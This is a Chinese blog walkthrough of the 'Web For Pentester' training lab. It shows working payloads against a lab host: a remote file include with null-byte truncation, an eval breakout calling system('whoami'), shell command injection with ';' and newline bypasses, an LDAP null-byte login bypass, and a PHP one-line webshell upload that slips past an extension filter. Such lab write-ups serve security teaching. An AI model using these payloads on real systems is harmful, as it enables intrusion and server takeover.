Web For Pentester File include
File include(文件包含)
Example 1 没有任何过滤
审计源码
没有对我们传参的page
进行任何过滤,payload如下
http://172.16.1.104/fileincl/example1.php?page=http://172.16.1.102/info.txt
本机info.txt
内容
Example 2 00截断
审计源码
在传参的page
后面加入了.php
,使用正则对00
后面进行过滤为空
这里可以使用PHP 00截断
,payload如下
http://172.16.1.104/fileincl/example2.php?page=http://172.16.1.102/info.txt%00
执行成功
code injection(代码注入)
php危险函数,代码注入
Example 1 绕过拼接
审计代码
直接将name
进行传参,然后使用Hello name !!!
进行拼接,最后使用eval
函数执行php函数
eval函数是一个php中很危险的函数,可以直接调用php代码执行
这里虽然对我们的输入进行了拼接,但是可以进行闭合,payload如下
name=";system('whoami');//
现将前面的"
进行闭合,然后使用;
代表这句php代码的结束,执行system
函数调用系统命令whomai
,;
代表system
函数执行完毕,最后使用//
将本行后面的内容注释
Example 2
审计源码
由于没有学过php
,这里看不太懂,留下一个坑,接下来就命令执行吧
Commands injection(命令执行)
Example 1 没有过滤
审计源码
通过systme()
函数执行ping -c 2
探测主机存活两次,没有对ip
传参进行过滤
这里运用了Linux
的特性; & && | ||
,这些特殊字符都可以进行绕过
payload
ip=127.0.0.;whoami
Example 2 换行绕过
审计源码
使用正则匹配开头和结束
,如果不是ip地址格式
直接输出Invalid IP address
,但是这里使用了/m
换行匹配
使用%0a
换行符绕过,payload如下
ip=127.0.0.1%0Aip a
成功执行
Example 3 跳转
审计源码
去掉了/m
换行匹配,匹配如果ip不满足IP地址条件
跳转到example3?ip=127.0.0.1
页面
这里我们输入的命令是被执行过得,因为代码是一直往下执行的,只是跳转并没有回显执行成功页面
使用burpsuite抓包进行查看
curl可以实现
curl "http://172.16.1.104/commandexec/example3.php?ip=127.0.0.1;whoami"
执行成功
LDAP attacks(轻目录访问协议)
LDAP 是一个基于x.500
标准的轻量目录访问协议。可以把它看做数据库,就像我们电脑的目录结构一样,可以快速的查询、搜索、浏览数据,和数据不同的就是它修改数据很麻烦,LDAP
就是为了查询数据而生的
Example 1 空认证
查询当然时候密码认证的啦
审计源码
这里很像数据库认证的页面,验证我们的用户名和密码是否在LDAP
数据库中
直接点击进行访问
用户名和密码为hacker
,由于一些LDAP
是空绑定的,就是没有进行认证设置,所以我们提交空的密码
username
,password
改为空的进行提交
还是不可以登录
那么我们直接将传参清除,进行提交
/example1.php
认证成功
Example 2 类似SQL注入的认证
审计源码
这个类似于SQL
注入,就如以下代码
先通过md5
加密了password
,所以不能对password
进行注入,但是我们可以对name
进行闭合
所以可以构造payload进行闭合
name=hacker))%00&password=任意
测试
认证成功
File Upload(文件上传)
Example 1 没有过滤的上传
审计源码
没有进行任何过滤,直接将文件进行上传
上传一句话木马
上传成功后,提示我们上传的文件在here
点击访问backdoor.php
没有任何回显,因为是一句话木马,使用蚁剑
进行连接
可以看到测试连接成功,直接添加,添加后 右键 -> 虚拟终端
就可以连接靶机命令行
Example 2 大小写绕过
审计源码
使用正则进行匹配结束php
的黑名单,由于这里靶机使用的环境是php
,所以上传asp
是没有用的
但是这里检测的的后缀名是小写的php
,可是使用大小写绕过
上传成功
XML attacks (XML攻击)
Example 1
审计源码
Example 2
审计源码
Web For Pentester File include的更多相关文章
- Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...
- ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”
ERROR: “System.Web.Mvc.Controller.File(string, string, string)”是一个“方法”,这在给定的上下文中无效 这是一个与Controller.F ...
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- Web For Pentester靶场(xss部分)
配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...
- Express web框架 upload file
哈哈,敢开源,还是要有两把刷子的啊 今天,看看node.js 的web框架 Express的实际应用 //demo1 upload file <html><head><t ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
随机推荐
- Unity中的批处理优化与GPU Instancing【转】
我们都希望能够在场景中投入一百万个物体,不幸的是,渲染和管理大量的游戏对象是以牺牲CPU和GPU性能为代价的,因为有太多Draw Call的问题,最后我们必须找到其他的解决方案.在本文中,我们将讨论两 ...
- linux下安装JDK 1.8 (Open JDK)
CenterOS 7 阿里云,华为云都可以 检测是否已经安装过JDK yum list --installed|grep jdk 或者java -version看下能不能执行. 如果已安装过但jdk ...
- ubuntu64运行32位程序安装过程
Ubuntu运行32位程序可以使用如下方法: 第一步: 确认你有一个64位架构的内核 你可以打开终端然后输入: dpkg --print-architecture 你将会看到像下面这样的内容: amd ...
- 突然连不上虚拟机,本地网络里没有VMnet8
今天打开虚拟机,突然发现无法ping通网络了,但是能ping通虚拟机ip,打开我的window的网络适配器发现居然没有vmnet 8虚拟网卡了,防火墙什么的都设置好了,仍然不行,后来发现,在网络和共享 ...
- SQL-关联
关联的本质:从一张表依次取一条数据和另一张表每一条数据进行匹配 内关联 inner join (inner可省略) -- 只显示关联的上的数据外关联有三种左外 left join -- 主表数据不丢失 ...
- 打包python文件为exe程序 vscode
一.项目下虚拟环境下载pyinstaller.exe 打包 1.检查是否下载 pyinstaller: 如果没有在vscode终端输入:pip3 install pyinstaller 安装成功后下 ...
- pycharm cv2 的方法不能智能提示
按住ctrl,光标放在cv2上,就能跳转到cv2的__init__.py文件 全选,按Ctrl+/注释掉所有语句,然后将如下语句添加到__init__.py中 import sys import os ...
- Hive+spark工业化项目
DolphinScheduler:国产调度平台 airflow: 调度平台
- 【Operating System】——An interesting question on Process Creation
In the book Operating System Concepts- 9th Edition - Chapter 3 - Page 117 - Page 120 it says: How do ...
- 20200926--图像旋转(奥赛一本通P96 9 多维数组)
输入一个n行m列的黑白图像,将它顺时针旋转90度后输出. 输入:第1行包含两个整数n和m(1<=n<=100,1<=m<=100),表示图像包含像素点的行数和列数. 接下来n行 ...